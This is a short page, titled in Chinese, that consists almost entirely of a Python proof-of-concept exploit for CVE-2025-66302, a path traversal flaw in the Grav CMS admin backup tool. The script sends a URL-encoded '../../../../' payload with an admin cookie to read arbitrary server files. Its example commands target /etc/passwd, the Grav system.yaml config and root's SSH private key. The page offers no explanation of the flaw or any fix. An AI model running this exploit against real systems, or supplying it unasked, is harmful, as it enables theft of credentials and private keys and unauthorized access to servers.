CVE-2025-66302 Grav CMS路径遍历漏洞允许读取任意文件

# CVE-2025-66302 PoC - Grav CMS Path Traversal in Backup Tool # Requires authenticated admin session import requests import argparse from urllib.parse import quote def exploit_grav_path_traversal(target_url, target_file, cookie): """ Exploit path traversal vulnerability in Grav CMS backup tool to read arbitrary files from the server filesystem. :param target_url: Base URL of the vulnerable Grav CMS instance :param target_file: Absolute path of file to read (e.g., /etc/passwd) :param cookie: Authentication cookie (requires admin privileges) """ # Construct path traversal payload # Using ../../../../ to escape webroot and navigate to system directories traversal_depth = "../../../../" payload_path = traversal_depth + target_file.lstrip('/') # Encode the path to bypass basic filters encoded_payload = quote(payload_path, safe='') # Target endpoint - backup tool functionality backup_endpoint = f"{target_url.rstrip('/')}/admin/tools/backup" headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Send malicious request params = { 'action': 'backup', 'file': encoded_payload } try: response = requests.get(backup_endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Successfully retrieved file: {target_file}") print("=" * 60) print(response.text[:5000]) # Print first 5000 chars print("=" * 60) return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66302 Grav CMS Path Traversal') parser.add_argument('--url', required=True, help='Target Grav CMS URL') parser.add_argument('--file', required=True, help='File to read') parser.add_argument('--cookie', required=True, help='Admin session cookie') args = parser.parse_args() exploit_grav_path_traversal(args.url, args.file, args.cookie) # Example commands: # python cve-2025-66302.py --url http://target.com/grav --file etc/passwd --cookie "grav-admin=xxx" # python cve-2025-66302.py --url http://target.com --file var/www/html/grav/config/system.yaml --cookie "grav-admin=xxx" # python cve-2025-66302.py --url http://target.com --file root/.ssh/id_rsa --cookie "grav-admin=xxx"